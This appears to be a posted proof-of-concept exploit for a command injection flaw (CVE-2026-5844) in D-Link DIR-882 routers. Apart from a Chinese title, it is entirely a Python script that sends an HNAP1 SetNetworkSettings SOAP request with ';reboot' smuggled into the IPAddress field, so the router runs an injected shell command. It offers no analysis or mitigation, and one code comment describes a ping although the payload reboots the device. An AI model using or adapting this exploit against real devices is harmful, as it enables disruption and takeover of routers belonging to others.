CVE-2026-5844 D-Link DIR-882 远程命令注入漏洞

import requests # Target URL (example) target_url = "http://192.168.0.1/HNAP1/" # Malicious payload to inject command (e.g., ping a test server) # The payload targets the IPAddress parameter in SetNetworkSettings payload = ";reboot" # Construct the HNAP1 SOAP request body soap_body = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetNetworkSettings xmlns="http://purenetworks.com/HNAP1/"> <IPAddress>{payload}</IPAddress> </SetNetworkSettings> </soap:Body> </soap:Envelope>''' headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://purenetworks.com/HNAP1/SetNetworkSettings" } try: # Send the request response = requests.post(target_url, data=soap_body, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"Error: {e}")